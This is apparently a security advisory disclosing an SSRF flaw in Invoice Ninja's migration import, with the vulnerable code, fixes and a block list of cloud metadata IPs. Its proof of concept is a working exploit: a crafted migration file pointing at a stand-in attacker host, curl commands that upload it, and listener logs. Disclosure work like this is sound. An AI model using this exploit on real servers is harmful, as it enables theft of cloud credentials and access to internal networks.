Invoice Ninja <= 5.12.38 SSRF
# Invoice Ninja SSRF Vulnerability Report
## Project
- **Name**: Invoice Ninja
- **Repository**: https://github.com/invoiceninja/invoiceninja
- **Version**: 5.12.38
## Title
Server-Side Request Forgery (SSRF) in Invoice Ninja Migration Import Feature
## Description
A Server-Side Request Forgery (SSRF) vulnerability exists in Invoice Ninja <= 5.12.38. The vulnerability is located in the `app/Jobs/Util/Import.php` file within the migration import functionality. The `company_logo` parameter from user-uploaded migration files is not properly validated before being passed to PHP's `copy()` function, allowing authenticated users to make the server send HTTP requests to arbitrary URLs, potentially accessing internal network services, cloud metadata endpoints (AWS/GCP/Azure), and extracting sensitive information including IAM credentials and internal API data.
## Affected Version
- Invoice Ninja <= 5.12.38
## Vulnerability Type
- CWE-918: Server-Side Request Forgery (SSRF)
## Severity
High
## Attack Vector
The attacker must be authenticated and have permission to use the migration import feature.
## Affected File
`app/Jobs/Util/Import.php`
## Vulnerable Code
```php
// Line 474-484
if (isset($data['settings']->company_logo) && strlen($data['settings']->company_logo) > 0) {
try {
$tempImage = tempnam(sys_get_temp_dir(), basename($data['settings']->company_logo));
copy($data['settings']->company_logo, $tempImage); // SSRF vulnerability here
$this->uploadLogo($tempImage, $this->company, $this->company);
} catch (\Exception $e) {
$settings = $this->company->settings;
$settings->company_logo = '';
$this->company->settings = $settings;
$this->company->save();
}
}
```
## Root Cause Analysis
1. The `Import` job is triggered when a user uploads a migration file through the `/api/v1/migration/start` endpoint
2. The migration file is a ZIP archive containing JSON data with company settings
3. The `company_logo` field in the JSON can contain any URL
4. PHP's `copy()` function accepts URLs as the source parameter and will make HTTP requests to fetch the content
5. No validation is performed on the `company_logo` URL before passing it to `copy()`
## Proof of Concept
### Step 1: Create a malicious migration file
Create a JSON file (`migration.json`) with a malicious `company_logo` URL:
```json
{
"data": {
"company": {
"settings": {
"company_logo": "http://attacker-server.com/ssrf_test",
"name": "SSRF Test Company",
"invoice_design_id": 1
}
},
"users": [],
"clients": [],
"invoices": [],
"payments": [],
"products": [],
"tax_rates": [],
"credits": [],
"quotes": [],
"recurring_invoices": []
}
}
```
### Step 2: Package as migration ZIP
```bash
zip migration.zip migration.json
```
### Step 3: Login and get API token
```bash
TOKEN=$(curl -s -X POST "http://target.com/api/v1/login" \
-H "Content-Type: application/json" \
-H "X-Requested-With: XMLHttpRequest" \
-d '{"email":"user@example.com","password":"password"}' | jq -r '.data[0].token.token')
```
### Step 4: Send the migration request
```bash
COMPANY_JSON='[{"company_key": "test-key-12345", "company_index": "migration", "force": true}]'
curl -X POST "http://target.com/api/v1/migration/start?silent_migration=true" \
-H "X-Api-Token: $TOKEN" \
-H "X-Requested-With: XMLHttpRequest" \
-F "companies=$COMPANY_JSON" \
-F "migration=@migration.zip;type=application/zip"
```
### Step 5: Verify SSRF
The attacker-controlled server will receive a request from the Invoice Ninja server:
```
172.18.0.4 - - [22/Dec/2025 04:58:57] "GET /ssrf_test HTTP/1.1" 404 -
```
## Verified Test Results
The vulnerability was successfully verified on a local Docker environment:
```
[*] SSRF Listener logs:
ssrf_listener | 172.18.0.4 - - [22/Dec/2025 04:58:57] code 404, message File not found
ssrf_listener | 172.18.0.4 - - [22/Dec/2025 04:58:57] "GET /SSRF_SUCCESS_POC HTTP/1.1" 404 -
```
This confirms that the Invoice Ninja server (172.18.0.4) made an outbound HTTP request to the attacker-controlled URL.
## Impact
1. **Cloud Metadata Access**: Attackers can access cloud provider metadata endpoints to steal IAM credentials
2. **Internal Network Scanning**: Attackers can scan internal network services
3. **Internal Service Access**: Attackers can interact with internal services (Redis, databases, etc.)
4. **Data Exfiltration**: Sensitive data from internal services could be exfiltrated
## Remediation
### Option 1: URL Validation (Recommended)
Add strict URL validation before using the `company_logo` value:
```php
if (isset($data['settings']->company_logo) && strlen($data['settings']->company_logo) > 0) {
$logoUrl = $data['settings']->company_logo;
// Only allow HTTPS URLs
if (!preg_match('/^https:\/\//i', $logoUrl)) {
nlog('Invalid company_logo URL scheme');
return;
}
// Parse the URL
$parsedUrl = parse_url($logoUrl);
if (!$parsedUrl || !isset($parsedUrl['host'])) {
nlog('Invalid company_logo URL');
return;
}
$host = $parsedUrl['host'];
// Resolve hostname to IP
$ip = gethostbyname($host);
// Block private and reserved IP ranges
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
nlog('company_logo URL resolves to private/reserved IP');
return;
}
// Block cloud metadata endpoints
$blockedIps = ['169.254.169.254', '100.100.100.200', '192.0.0.192'];
if (in_array($ip, $blockedIps)) {
nlog('company_logo URL blocked - metadata endpoint');
return;
}
try {
$tempImage = tempnam(sys_get_temp_dir(), basename($logoUrl));
copy($logoUrl, $tempImage);
$this->uploadLogo($tempImage, $this->company, $this->company);
} catch (\Exception $e) {
// Handle error
}
}
```
### Option 2: Disable URL in copy()
Modify `php.ini` to disable `allow_url_fopen`, but this may break other functionality.
### Option 3: Use cURL with restrictions
Replace `copy()` with a cURL-based solution that has timeout and redirect restrictions.
## Discoverer
gets
## References
- CWE-918: https://cwe.mitre.org/data/definitions/918.html
- OWASP SSRF: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery